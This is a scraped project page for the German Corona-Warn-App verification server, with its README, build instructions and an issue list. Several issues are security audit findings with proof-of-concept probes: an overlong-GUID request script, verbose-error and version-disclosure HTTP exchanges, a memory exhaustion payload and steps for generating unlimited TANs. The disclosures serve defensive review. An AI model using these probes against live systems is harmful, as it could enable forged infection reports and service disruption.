Code Monkey home page Code Monkey logo

cwa-verification-server's Introduction

Corona-Warn-App Verification Server

DevelopmentDocumentationSupportContributeContributorsRepositoriesLicensing

The goal of this project is to develop the official Corona-Warn-App for Germany based on the exposure notification API from Apple and Google. The apps (for both iOS and Android) use Bluetooth technology to exchange anonymous encrypted data with other mobile phones (on which the app is also installed) in the vicinity of an app user's phone. The data is stored locally on each user's device, preventing authorities or other parties from accessing or controlling the data. This repository contains the verification service for the Corona-Warn-App.

Status

ci quality gate coverage bugs

About this component

In the world of the Corona Warn App the Verification Server helps validating whether upload requests from the mobile App are valid or not. The parts of the verification component cooperate in the following manner:

  • The Verification Server of the Corona Warn App (repository: cwa-verification-server) helps validating whether upload requests from the mobile App are valid or not.
  • The Verification Portal of the Corona Warn App (repository: cwa-verification-portal) allows hotline employees to generate teleTANs which are used by users of the mobile App to upload their diagnostic keys.
  • The Verification Identity and Access of the Corona Warn App (repository: cwa-verification-iam) ensures that only authorized health personnel get access to the Verification Portal.
  • The Test Result Server of the Corona Warn App (repository: cwa-testresult-server) receives the results from laboratories and delivers these results to the app via the verification-server.

Architecture overview

You can find an architectural overview of the component in the solution architecture document.
This component of the Corona-Warn-App whereas named verification process provides indeed two functionalities:

  1. prove that a pretended positive case is indeed positive
  2. provide the result of a COVID-19 test

To achieve this, the verification service gets the result of COVID-19 tests from LIS (Labor Information System) which delivers test results to it. The complete process is described in cwa-documentation/Solution Architecture to which you may refer for detailed information about the workflow.

The software stack of the verification server is based on Spring Boot, currently with an in-memory H2 database. As the persistence relies on Liquibase.

Development

This component can be locally build in order to test the functionality of the interfaces and verify the concepts it is built upon.

There are two ways to build:

  • Maven build - to run this component as spring application on your local machine
  • Docker build - to run it as docker container build from the provided docker build file

Prerequisites

Build

Whether you cloned or downloaded the 'zipped' sources you will either find the sources in the chosen checkout-directory or get a zip file with the source code, which you can expand to a folder of your choice.

In either case open a terminal pointing to the directory you put the sources in. The local build process is described afterwards depending on the way you choose.

Maven based build

This is the recommended way for taking part in the development.
Please check, whether following prerequisites are installed on your machine:

You can then open a terminal pointing to the root directory of the verification server and do the following:

mvn package
java -jar target/cwa-verification-server-0.0.1-SNAPSHOT.jar --spring.profiles.active=local                               

The verification server will start up and run locally on your machine available on port 8080.

Docker based build

We recommend that you first check to ensure that Docker is installed on your machine.

On the command line do the following:

docker build -f|--file <path to dockerfile>  -t <imagename>  <path-to-verificationserver-root>
docker run -p 127.0.0.1:8080:8080/tcp -it <imagename>

or simply

docker build --pull --rm -f "Dockerfile" -t cwa-verificationserver "."
docker run -p 127.0.0.1:8080:8080/tcp -it cwa-verificationserver

if you are in the root of the checked out repository.
The docker image will then run on your local machine on port 8080 assuming you configured docker for shared network mode.

API documentation

Along with the application there comes a swagger2 API documentation, which you can access in your web browser when the verification server applications runs:

<base-url>/api/swagger

Which results in the following URL on your local machine: http://localhost:8080/api/swagger

Remarks

This repository contains files which support our CI/CD pipeline and will be removed without further notice

  • DockerfileCi - used for the GitHub build chain
  • Jenkinsfile - used for Telekom internal SBS (SoftwareBuildService)

Documentation

The full documentation for the Corona-Warn-App can be found in the cwa-documentation repository. The documentation repository contains technical documents, architecture information, and white papers related to this implementation.

Support and feedback

The following channels are available for discussions, feedback, and support requests:

Type Channel
General Discussion
Concept Feedback
Verification server issues
Other requests

How to contribute

Contribution and feedback is encouraged and always welcome. For more information about how to contribute, the project structure, as well as additional contribution information, see our Contribution Guidelines. By participating in this project, you agree to abide by its Code of Conduct at all times.

Contributors

The German government has asked SAP AG and Deutsche Telekom AG to develop the Corona-Warn-App for Germany as open source software. Deutsche Telekom is providing the network and mobile technology and will operate and run the backend for the app in a safe, scalable and stable manner. SAP is responsible for the app development, its framework and the underlying platform. Therefore, development teams of SAP and Deutsche Telekom are contributing to this project. At the same time our commitment to open source means that we are enabling -in fact encouraging- all interested parties to contribute and become part of its developer community.

Repositories

A list of all public repositories from the Corona-Warn-App can be found here.

Licensing

Copyright (c) 2020-2023 Deutsche Telekom AG.

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License.

You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2.0.

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the LICENSE for the specific language governing permissions and limitations under the License.

cwa-verification-server's People

Contributors

alstiefel avatar arteam avatar ascheibal avatar buepas avatar bugbuster1701 avatar ccfenner avatar cfritzsche avatar daniel-eder avatar dependabot[bot] avatar dfischer-tech avatar ein-tim avatar f11h avatar jhagestedt avatar kreincke avatar martinmuellerrohde avatar martinschefflertsi avatar mh- avatar mlaue-tech-zz avatar mschulte-tsi avatar patrickrogg avatar paulober avatar ra-jo-cosee avatar simonresch avatar starze avatar tence avatar theodiefenthal avatar tklingbeil avatar tkowark avatar weissms68 avatar zhedar avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cwa-verification-server's Issues

Unnecessary complexity

Current Implementation

  • Source File: VerificationController.java

  • Line(s): 225-229

    if ((appSession.get().getHashedGuid() == null) && (appSession.get().getTeleTanHash() != null)) {
      return ResponseEntity.ok(new TestResult(LabTestResult.POSITIVE.getTestResult()));
    }
    

String hash = appSession.get().getHashedGuid() != null
? appSession.get().getHashedGuid() : appSession.get().getTeleTanHash();

Suggested Enhancement

\ GUIDhash NULL GUIDhash Not Null
TeleTANHash Null 229 hash = TeleTanHash = Null 229 hash = GUID-Hash
TeleTANHash Not Null Return 226 229 hash = GUIDHash

229 should read
? appSession.get().getHashedGuid() : null;

as an alternative one should instead check for the AppSessionSourceOfTrust as a selection mechanism - preferable everywhere where this is done by GUIDHash our TeleTanHash comparisons with null.

And it would be useful to implement custom setter and getters for hashed_guid and teleTanHash in VerificationAppSession. In these a verification should take place that the hashed value and the sourceOfTrust are consistent.

Expected Benefits

Code is more transparent

Teletan hash stored without salting

Current Implementation

Teletan is described as an integer, making it very cheap to generate a rainbow table for the purpose of circumventing the hashes quickly

Suggested Enhancement

consider adding a salt to the hash or alternatively rely on the client to provide a salted hash

Expected Benefits

Making it marginally harder to compromise the entire dataset

Please write useful comments or no comments

Current Implementation

If you write a comment in code it should not be a redundant statement.

Especially bad example is OpenApiConfig.java

Another more basic example is HashedGuid.java. What does the class comment tell us?

For further reference see Robert C. Martin , Clean Code. Chapter 4 Commments

Suggested Enhancement

Write why a class or function exists.
Write what assumptions are made.

Expected Benefits

Better maintainable code.

[BSI][0.3.1-alpha] Inconsistent Naming for GUID

Rating: Informational

Description:
The verification server is supposed to handle only the SHA-256 hashed
value of a user's GUID. However, the naming for the representations
of this hashed GUID value is inconsistent in the code. It is refered
to as "GUID", "hashedGuid", and "guidHash". This inconsistency might
lead to further bugs in the future.
One consequence of this inconsistency is that the documentation for
the /registrationToken endpoint mentions that the keyType can either
be "teleTAN" or "guidHash". However, it needs to be "GUID" instead of
"guidHash".

Proof of Concept:
The following is a (non-complete) list of different examples of this
naming inconsistency:

* Guid.java:36
	public class Guid {
* VerificationAppSession.java:65
	private String guidHash;
* RegistrationTokenRequest.java:44
	* The type of key, which can be "guidHash" or "teleTAN"
* AppSessionService.java:186-189
	* @param hashedGuid the hashed guid
	* @return flag for existing guid
	*/
	public boolean checkRegistrationTokenAlreadyExistsForGuid(String hashedGuid) {
* architecture-overview.md:182-185
	-	Method: POST /registrationToken
	Body: Body: { 
	"key": "<<key>>",
	"keyType": “teleTAN||hashedGUID” 
	}

[BSI][20210416] Insufficient SSL/TLS Configuration

Rating: Medium

Description:
The SSL/TLS configuration of the affected services does not validate the validity of certificates when connecting to other servers. This may allow attackers to read and manipulate the communication. However, the attacker needs to be in a man-in-the-middle position. Furthermore, not all services use encrypted connections.

Affected Components:
◦ cwa-verification-server
◦ cwa-verification-portal
◦ cwa-quick-test-server

Proof of Concept:
PoC_Insufficient SSL TLS Config_1-2

PoC_Insufficient SSL TLS Config_2-2

Recommended Controls:
Measure 1: Enable SSL/TLS encryption for all clients
All clients should use encrypted connections to external services to ensure data integrity and confidentiality.
Measure 2: Enable SSL/TLS verification
It is strongly recommended to enable certificate validation to prevent man-in-the-middle attackers from intercepting traffic by providing an invalid certificate.

It is recommended to implement both measures.

Pull requests fail during deploy step

Describe the bug

Even cosmetic PRs like #63 fail during the ci/build check due to an attempt to deploy the successful build:

[ERROR] Failed to execute goal org.apache.maven.plugins:maven-deploy-plugin:2.7:deploy (default-deploy) on project cwa-verification-server: Failed to deploy artifacts: Could not transfer artifact app.coronawarn.verification:cwa-verification-server:jar:0.3.2-20200526.063523-31 from/to github (https://maven.pkg.github.com/corona-warn-app/cwa-verification-server): Authorization failed for https://maven.pkg.github.com/corona-warn-app/cwa-verification-server/app/coronawarn/verification/cwa-verification-server/0.3.2-SNAPSHOT/cwa-verification-server-0.3.2-20200526.063523-31.jar 403 Forbidden -> [Help 1] [ERROR] [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. [ERROR] Re-run Maven using the -X switch to enable full debug logging. [ERROR] [ERROR] For more information about the errors and possible solutions, please read the following articles: [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException ##[error]Process completed with exit code 1.

Expected behaviour

Pull requests should go through the build pipeline including all code verification and unit tests but skip the deploy step

Steps to reproduce the issue

See #65

https://github.com/corona-warn-app/cwa-verification-server/pull/65/checks?check_run_id=708323706

fix: Update updated_at upon tan creation

Describe the bug

The updated_at property will only be set once upon data creation, never be updated

Expected behaviour

property 'updated_at' shall be updated, upon tan generation.

Steps to reproduce the issue

created_at only be touched once, upon dataset creation

Technical details

  • Host Machine OS (Windows/Linux/Mac):

Possible Fix

write appSession.updatedAt upon tan generation

Additional context

FakeRequestService uses fakeTanDelay for all fake endpoint requests

Describe the bug

In the FakeRequestService I noticed that generateTan, generateRegistrationToken and getTestState all use the fakeTanDelay to schedule a fake response, despite the availability of a fakeTokenDelay and fakeTestDelay

Expected behaviour

The appropriate delays should be implemented for the various fake endpoint requests

Possible Fix

See expected behaviour

Additional context

N/A

[BSI][0.3.1-alpha] Hash regex missing start and end metacharacter

Rating: Low

Description:
The hash regex does not include caret and dollar sings to set the start and the end of the regular expression.
Therefore the regex matches on every value (e.g. GUID), that includes 64 hex characters, regardless of additional content.

  • verification/service/HashingService.java
    [...] GUID_HASH_PATTERN = "[0-9A-Fa-f]{64}";

The regex should be:

  • verification/service/HashingService.java
    [...] GUID_HASH_PATTERN = "^[0-9A-Fa-f]{64}$";

Proof of Concept:

The following script

import requests, json, os, sys

url = sys.argv[1]+"/version/v1/registrationToken"

guid = os.urandom(32).hex() + " this is too long"
data = {"key": guid, "keyType": "GUID"}

res = requests.post(
    url,
    headers = {"Content-type": "application/json"},
    data = json.dumps(data))

Causes the following error

Caused by: org.h2.jdbc.JdbcSQLDataException: Value too long for column "GUID_HASH VARCHAR(64)": "'4775200786636a932ca36f342ca0b1a6e80cdc6ccab99f6078b990a4022d7f66 this is too long' (81)"; SQL statement:
insert into app_session (id, created_at, guid_hash, registration_token_hash, sot, tan_counter, tele_tan_hash, updated_at, version) values (null, ?, ?, ?, ?, ?, ?, ?, ?) [22001-200]

[BSI][0.3.1-alpha] Database Lookup Not Possible After Updating Record

Rating: Medium

Description:
Updating JpaRepository records (such as the VerificationAppSessionRepository)
involves incrementing the "version" field of the database record.
This happens, e.g., when the tanCounter is incremented after
generating a new TAN. However, the function "getAppSessionByToken"
which is responsible for looking up app session records explicitly
searches for records where the version is equal to 0. This results in
a session effectively being destroyed once it is updated, as the
version value is incremented to 1.
One of the side effects is that it is not possible to generate even
a second TAN for a particular session. Note that this could also
influence other database record types.

Proof of Concept:
This is an exemplary app session before generating a TAN:
VerificationAppSession(id=1, version=0, createdAt=2020-05-23T11:10:08.385428, updatedAt=2020-05-23T11:10:08.385440, guidHash=dc460da4ad72c482231e28e688e01f2778a88ce31a08826899d54ef7183998bb, registrationTokenHash=3473c242e8249ff4b92ff1d938814e8876910a84c89d7dbd010385f8635d8218, teleTanHash=null, tanCounter=1, sourceOfTrust=hashedGUID)

After generating a first TAN the session looks as follows:
VerificationAppSession(id=1, version=1, createdAt=2020-05-23T11:10:08.385428, updatedAt=2020-05-23T11:10:08.385440, guidHash=dc460da4ad72c482231e28e688e01f2778a88ce31a08826899d54ef7183998bb, registrationTokenHash=3473c242e8249ff4b92ff1d938814e8876910a84c89d7dbd010385f8635d8218, teleTanHash=null, tanCounter=1, sourceOfTrust=hashedGUID)

The session that is built to look up the session in the "getAppSessionByToken" function looks as follows:
VerificationAppSession(id=null, version=0, createdAt=null, updatedAt=null, guidHash=null, registrationTokenHash=3473c242e8249ff4b92ff1d938814e8876910a84c89d7dbd010385f8635d8218, teleTanHash=null, tanCounter=null, sourceOfTrust=null)

As the version is explicitly set to 0, the session will not be found.

Controller Verification

Current Implementation

I was wondering in VerificationController for exceptions to be thrown to let the client know if a ressource is missing or if it was a bad request.

  1. generateRegistrationToken(...) - There is a bad request thrown after validating the pattern for provided key from client.

  2. generateTan(...) - If no VerificationAppSession was found there is a bad request - 400 retuned.

  3. In generell the exception handling is pretty late in the controller (f.e. generateTan(...) ). Additionally there have to be performed many checks.

Suggested Enhancement

  1. Custom constraints to check wheter execution logic should be performed after all. - A first reference see https://www.baeldung.com/spring-mvc-custom-validator

  2. It should throw a not found - 404 since no AppSession could be found. A bad request should have been thrown if the serverside had a verification process ging on. But since nothing was found in the database there can only be a 404 thrown.

  3. Replace validation inside Controller. For example in AppSessionService.getAppSessionByToken(...) with

appSessionRepository.findByRegistrationTokenHash(hashingService.hash(registrationToken))
                    .orElseThrow(() -> new RessourceNotFoundException(...)); 

This specific RessourceNotFoundException can have a field with the ressource that was not found so it's applicable to other ressources. And more important RessourceNotFoundException can be bound in the GlobalExceptionHandler with a proper http status code as it is currently present with other exceptions.

Expected Benefits

  1. Before even a line of code inside the controller is executed, there is a validation of the given GUID, otherwise client gets immediate error.

  2. Use of intended ReST architecture with specific http status codes.

  3. Not validating in the controller layer, but rather in the servicelayer when the database access happens. It also means that the Optional<...> method signatures are going to be dropped where the exceptions are thrown for a proper http status feedback.
    Exception handling can be done at the roots cause. If you proceed the validation at the Controller before code is beeing executed and you proceed the validation at the database access you get a validated code flow inbetween and do not have to worry about it anymore. But it does take discipline to do so and keep doing it in the future.

Hopefully i explained my thoughts well enough. Otherwise i am open for discussions and would like to provide a PR you need me to do so.

Please introduce code reviews in your development process

Current Implementation

Example : TanServiceTest.java

Some tests end with test, most don‘t - test postfix is not necessary because of @test property

retunedTan? Or should it read returnedTan?

Very dense test code

Completeness? I.e. Where is the test case that as save is not successful?

Suggested Enhancement

This should be introduced after the first release but then rather quickly

Introduce coding standards and verify them with code reviews.

I.e. introduce block comments in test cases for preparation, test, verification
I.e. make clear what is the object under test. In the file TanServiceTest.java I would not use the name tanService but the generalized name objectUnderTest. This is especially useful if more than one object of a class is created but only one is under test.

Expected Benefits

Better maintainable code
Higher quality in the long run

[ATHENE] Create Teletan Authorization

Release Version: 0.5.3

The verification server implements an API endpoint for generating a teletan ("/tan/teletan"). The documentation specifies that this should only be possible for medical employees. We could not find the authorization mechanism in the code, did we miss something or is it not yet implemented?

We just want to make sure this will be implemented, as a teletan enables an adversary to upload forged diagnosis keys to induce false positives, defeating the purpose of the system.

Implement Plausbile Deniability (aka Fake Requests)

By now an attacker can determine whether a user is positively tested by analyzing the network traffic pattern. To mitigate this risk the concept for plausible deniability defines certain measures at the app and server component. This ticket is about the cerification server and the public internet facing rest endpoints.

  • Analyse the concept
    The concept is not public yet, but can be handed out per request

As of now the req for verification server are:
-- API path should have equal length
xxx will not be implemented
-- Response size must be of equal size
xxx in discussion with client
-- Response time must be in equal range
xxx will be implemented
-- Dummy requests must be flagged and adapted to mimic valid calls.
xxx dummy request will have set the optional header attribute "cwa-fake"
these requirements still hold some contradictions, which need to be clarified.

  • review the requirements define in the concept
  • define the actions to be taken here in the ticket
  • implement
    -- maximum reuse of existing code in other components
    -- dont forget logging of fake requests as such
  • document

[BSI][20200519] Verbose Error Messages

Rating: Medium

Description:
The server responds with verbose error messages and details about occured exceptions. This can help an attacker to better understand the running services/applications and debug the problem the processing component is running into. The information collected by the attacker can possibly be used to exploit the component or let the component behave unintended.

Proof of Concept:
The following communication excerpt shows the verbose error output:

POST /version/v1/registrationToken HTTP/1.1
Host: localhost:9090
User-Agent: curl/7.64.1
Accept: /
Content-Type: application/json
Content-Length: 1

{

HTTP/1.1 400
Content-Type: application/json
Transfer-Encoding: chunked
Date: Tue, 19 May 2020 08:23:42 GMT
Connection: close

{"timestamp":"2020-05-19T08:23:42.908+0000","status":400,"error":"Bad Request","message":"JSON parse error: Unexpected end-of-input: expected close marker for Object (start marker at [Source: (PushbackInputStream); line: 1, column: 1]); nested exception is com.fasterxml.jackson.core.io.JsonEOFException: Unexpected end-of-input: expected close marker for Object (start marker at [Source: (PushbackInputStream); line: 1, column: 1])\n at [Source: (PushbackInputStream); line: 1, column: 2]","path":"/version/v1/registrationToken"}

An attacker can generate unlimited valid TANs

Description

If an attacker knows the QR code (GUID) of any patient tested positive (has an active record in testresult server), the attacker can generate any number of valid TANs. Using these TANs the attacker can upload fake diagnosis keys to the submission service.

The solution architecture assumes that the registration token(device identifier) is unique per GUID/teleTAN. This assumption will not hold true always.

Steps to reproduce the issue

flow

Steps to reproduce Description Step from figure above
[1] Patient: scans QR and sends GUID to Verification Server.
Valid Registration Token is persisted to phone.
1, 2, 3 & 4
[2] Assume patient is infected with COVID.
Laboratory Information System: Notifies the Test Result Server information that the patient is infected.
A
[3] Patient: Generates TAN using Registration Token 9, 10, 11, 12 & 13
[4] Attacker: Sends the same GUID to Verification Server.
Note that the attacker get a new valid Registration Token
2,3 & 4
[5] Attacker: Sends new Registration Token and generates a valid TAN 9, 10, 11, 12 & 13
[6] Attacker can repeat [4] & [5] continously to obtain new TANs

Possible Fix

Gut feeling is that the issue is in AppSessionService

  public boolean checkRegistrationTokenAlreadyExistsForGuid(String hashedGuid) {
    log.info("Start checkRegistrationTokenAlreadyExistsForGuid.");
    VerificationAppSession appSession = new VerificationAppSession();
    appSession.setHashedGuid(hashedGuid);
    return appSessionRepository.exists(Example.of(appSession, ExampleMatcher.matchingAll()));
  }

After [3] the app_session table is updated with tan_counter and therefore ExampleMatcher.matchingAll() won't match the attacker's request from [4] and thereby returns a new registration token

Ps. Thanks for the detailed documentation of the architecture. That made it easier to report this issue.

Pull requests fail during Sonar step

Describe the bug

Pull requests fail during mvn sonar step:

[WARNING] Unable to analyse file 'pom.xml'. java.lang.IllegalStateException: You're not authorized to run analysis. Please contact the project administrator. at org.sonar.scanner.scan.filesystem.MetadataGenerator.setMetadata(MetadataGenerator.java:55) at org.sonar.scanner.scan.filesystem.FileIndexer.lambda$indexFile$0(FileIndexer.java:127) at org.sonar.api.batch.fs.internal.DefaultInputFile.checkMetadata(DefaultInputFile.java:77) at org.sonar.api.batch.fs.internal.DefaultInputFile.charset(DefaultInputFile.java:216) at org.sonar.api.batch.fs.internal.DefaultInputFile.contents(DefaultInputFile.java:101)
[...]
[ERROR] Failed to execute goal org.sonarsource.scanner.maven:sonar-maven-plugin:3.6.1.1688:sonar (default-cli) on project cwa-verification-server: null: MojoExecutionException: NullPointerException -> [Help 1] [ERROR] [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. [ERROR] Re-run Maven using the -X switch to enable full debug logging. [ERROR] [ERROR] For more information about the errors and possible solutions, please read the following articles: [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException ##[error]Process completed with exit code 1.

Expected behaviour

Pull requests should go through the build pipeline including all code verification and unit tests but either skip the sonar step or necessary authorization needs to be provided to succeed (later preferred)

Steps to reproduce the issue

See #65

https://github.com/corona-warn-app/cwa-verification-server/pull/65/checks?check_run_id=708392877

[BSI][0.3.1-alpha] TAN Counter Off-By-One

Rating: Low

Description:
The documentation mentions that currently only two TANs per session
can be created. This is also formalized in the application.yml
configuration file (appsession: tancountermax: 2). However, the code
that is checking the TAN counter is implemented incorrectly. It
checks whether the current TAN count is less-than-or-equal (<=) to
the specified tancountermax. However, the counter starts off with the
value 0 and is incremented after a TAN is generated. Thus, the check
is insufficient and allows three instead of two tans to be
created by one session. The operator should be "<" instead of "<=".

Proof of Concept:
The offending lines can be found in VerificationController.java:162-176

  if (appSession.getTanCounter() <= tanCounterMax) {
    [...]
    appSession.incrementTanCounter();

bug: cwa-fake-header-workaround

Describe the bug

change plausible denialbility to work with 'old' clients

Expected behaviour

version 1.0-1.2 of iOS App to work with pd feature.

Steps to reproduce the issue

Technical details

  • Host Machine OS (Windows/Linux/Mac):

Possible Fix

Additional context

teleTAN generation and spec don't match.

According to the architecture-overview, the teleTAN consists out of digits and uppercase letters only, in the code, one can see that it consists of digits, uppercase and lowercase letters. The implementation might be disadvantegeous when communicating the TAN over something like the phone, but increases security in terms of brute force attacks guessing a tan.

Avoid layer packages

Current Implementation

Currently the application uses layer packages to organize code. E.g. repositories are separated from services and other domain types. This reduces the ability to properly encapsulate Spring components as e.g. the repositories have to be made public so that the services can refer to them. That in turn causes all code in the application to be able to refer to and use the repositories, even if that's not desirable.

Suggested Enhancement

I suggest to fold all domain packages (domain, model, repository, services) into a single package, and only make types public that need to be referred to by the primary exporting port (the Spring MVC controller)

Expected Benefits

Improved encapsulation as implementation details like the repositories are not accessible from the web layer anymore.

Feel free to ping me if you think you'd like to see a draft PR for this.

Add timestamp to test result

Current Implementation

Test representation as hash and test result are fetched from test result server.

Suggested Enhancement

Add a timestamp when the test result is confirmed. This timestamp can be considered as confirmation time of the test.

Interface

The existing REST payload shall be enhanced by a key "sc": number containing the time of confirmation in UNIX epoch format.
This value is optional, i. e, upon creation time the mobile client may not set this value. As long the test result is pending, the value will not be included, when requested via /version/v1/testresult

Expected Benefits

All Tests PCR and RAG Tests shall contain the timestamp. Concerning PCR Tests this timestamp is currently the time, the result arrives at the server.

API wrong

Describe the bug

the /registrationToken route only takes hasedGUID as payload value
the /tan route takes registrationToken or TeleTan as payload

Expected behaviour

the /registrationToken route takes TeleTAN or hashedGUID as payload
the /tan route only takes registrationToken

Steps to reproduce the issue

refer to Verification server spec (excerpt)

API Endpoint:

  • Method: POST /tan
  • Body: { “registrationToken”: “<>” }
  • Authentication: none

API Endpoint:

  • Method: POST /registrationToken
    Body: Body: {
    "key": "<>",
    "keyType": “teleTAN||hashedGUID”
    }
  • Authentication: none

So workflow for TeleTAN is:

  1. optain a registrationToken by providing the TeleTAN
  2. get an TAN providing the registrationToken in another step.

Technical details

  • Host Machine OS (Windows/Linux/Mac): n/a

Possible Fix

simply implement the behaviour for route /tan to the route /registrationToken

Additional context

--

Splitting Endpoints of Verification Controller

Current Implementation

  • Currently VerificationController has multiple Endpoints which do different things.

Suggested Enhancement

  • Split content of VerificationController into (for example) three different controllers. Naturally seperated by given Endpoints. (RegistrationTokenController, TestresultController, TanController)

Expected Benefits

  • Splitting up gives better encapsulation for different actions beeing performed. (SRP)
  • Further it benefits for #60 but even if you keep the package layers it benefits the structure and readybility.

I think it is a good first issue for new people looking forward to contribute. (I know me included. ☺️ )

Review abstraction levels of services

Current Implementation

The services currently expose a mixture of abstraction levels in their APIs that provide an incoherent set of operations and lead to a fractured programming model. Take the TAN redemption use case for example. The programming model currently looks as follows:

  1. A controller loads an instance of the aggregate.
  2. There are some business checks applied.
  3. If they succeed, state is manipulated by calling some setters.
  4. The state is persisted by calling save(…).

That's a very low level interaction model and it's error prone fro a couple of reasons:

  1. You can accidentally forget one of the steps and might not actually realize this. Ideally a business operation consists of exactly one call to some service that either fails or succeeds.
  2. State is manipulated through setters. I.e. we're poking on individual fields. It's the responsibility of the calling code to make sure that the right setters are called, potentially in the right order. Also, as the setters are public, any code can actually call them.

Suggested Enhancement

  1. Revisit all methods that call save(…) on the service, look for which state transitions they apply to the entity beforehand and turn those use cases into service methods. All code that does not need any references to other Spring beans could go into entities ("If you need to call two setters in a row you're missing a method.").
  2. In combination with #60, setters could be made package protected, so that the web code is unable to call those individually but is forced to go through the service by the compiler.

Expected Benefits

  1. Reduces the amount of ceremony to be implemented in controllers to realize a use case.
  2. A clear separation of code that is strict (services, entities, etc.) and prevents any kind of misuse through the help of the compiler or by rejecting invalid state. This can then be separated by code that needs to be "forgiving", i.e. also accept invalid data by clients in the first place to produce proper results (usually though some kind of validation).

Again, happy to provide a POC for this in a PR.

Old io.jsonwebtoken Maven dependency

Why do you use old io.jsonwebtoken maven repo

The developers of this Java Package provided an instruction on GitHub where they explained for installation you have to add "jjwt-api", "jjwt-impl" and "jjwt-jackson" or "...-gson" to your pom.xml because these are updated. And the repo which is used in this repo("jjwt") is very old since 2018 it hasn't been updated. I recommend using the new packages. ... but it could be that it makes no sense for you to use the new repos due to the compatibility with your project which is why I did not create a pull-request.

  • Source File: pom.xml
  • Line(s): 139-143
  • Question: Why do you use old io.jsonwebtoken maven repo?

Don't use primitive wrappers if not necessary

Current Implementation

Some entities seem to use wrapper types, where it doesn't seem necessary. This might result autoboxing, which could be avoided by simply using primitve types. If there is a specific cause to use the wrappers, a comment might be useful.

Example:

  private final int testResult;

  LabTestResult(Integer stateValue) {
    this.testResult = stateValue; //stateValue gets unboxed
  }

Suggested Enhancement

Use primitive values instead. If there is no intent behind using wrappers, I could provide a PR for this.

Expected Benefits

Reduce unexpected auto- and unboxing, improve performance.

[BSI][20200609] Validity of TeleTAN Longer Than One Hour

Rating: High

Description:
The TeleTAN, which is produced by the public health department, is per documentation only valid for one hour. However, during the evaluation, it was determined that this TeleTAN is still valid after one day.
Due to the fact that, additionally, no protection exits against brute-force attacks on the use of the TeleTAN to generate a registration token, an attacker would have plenty of time to identify a valid TeleTAN. It is therefore that this vulnerability was rated as high risk.

Proof of Concept:
To reproduce this issue a TeleTAN has to be generated but not used directly. Wait longer than one hour and then try to enter the TeleTAN within the app.

[BSI][20200609] NGINX Version Disclosure

Rating: Low

Description:

The Nginx web server discloses its version in the HTTP Server header field and
HTTP error pages. Disclosing version numbers of used software components could
allow attackers to prepare further attacks. For instance, an attacker could
use publicly known vulnerabilities to harm the service. They could also try to
find new vulnerabilities in the code of this exact version.

Proof of Concept:
The following request and response show the nginx version disclosure

GET / HTTP/1.1
Host: verification-2554e68b.coronawarn.app
User-Agent: curl/7.64.1
Accept: /

HTTP/1.1 404 Not Found
Server: nginx/1.16.1
Date: Tue, 09 Jun 2020 07:55:10 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive

<title>404 Not Found</title>

404 Not Found


nginx/1.16.1

Decide for either CRLF or LF line endings and add .gitattributes file

Current Implementation

Because this repo doesn't contain a .gitattributes file, line endings differ from contributor to contributor causing unwanted diffs in checkins.

Suggested Enhancement

Add .gitattributes file to this repo and decide wether you prefer Windows-style CRLF or Unix-style LF line endings.

See https://help.github.com/en/github/using-git/configuring-git-to-handle-line-endings how to do this.

I suggest to add the follwing lines to .gitattributes:

*.java text eol=lf
*.yml text eol=lf

Expected Benefits

Fewer diffs when contributing a pull request and easier to read history.

[BSI][20200807] Request Size With CWA-Fake Might Differ

Rating: Informational

Description:
To implement a plausible deniability, the server implements a padding that is added to responses so that the size difference in these responses does not give away any information to an attacker in a privileged network position. However, this is not enforced for requests. While the requests highly depend on the implementation of the client apps, the server should enforce this to ensure that the request size is treated similarly (e.g. not respond to requests that neither contain cwa-fake: 1 nor cwa-fake: 0)
When the cwa-fake header is sent, the backend knows that the request is a "fake" request and responds with random data. The current implementation also allows sending requests without this header, which is what the apps are currently doing. However, if this is allowed, an attacker can easily distinguish between a real and a fake request, as the request sizes differ. The request that contains the cwa-fake header is larger than the one without it.

Proof of Concept:
The following screenshots show a packet capture of the /registrationToken endpoint. The first one includes the cwa-fake: 1 header, the second one does not. It can be observed that the request without the header is smaller.

Verification Server registrationToken with CWA-Fake Header
Verification Server registrationToken without CWA-Fake Header

Recommended Controls:
When the fake request functionality is properly implemented, the apps should make sure that the cwa-fake is included in both fake and real requests so that the request size does not differ. If possible, the verification-server backend should force the usage of this header, i.e., each incoming request without this header could be ignored.

Update Software Architecture Document

Update Sofware Architecture Document to reflect changes for 1.1

  • update TAN generation algo
  • update spec for teleTAN
  • add use case rate limiting
  • add splitting endpoints

[BSI][0.3.1-alpha] Missing request size limitation leads to memory exhaustion

Rating: Medium

Description:
The server as provided by the Docker file does not limit the request size.
This enables an attacker to send arbitrary long requests, that have to be cached by the server in memory.

In addition, the server uses stream processing of the supplied JSON data.
By repeatedly sending the payload {"": we can create lots of nested dictionaries, that will be processed by the server.
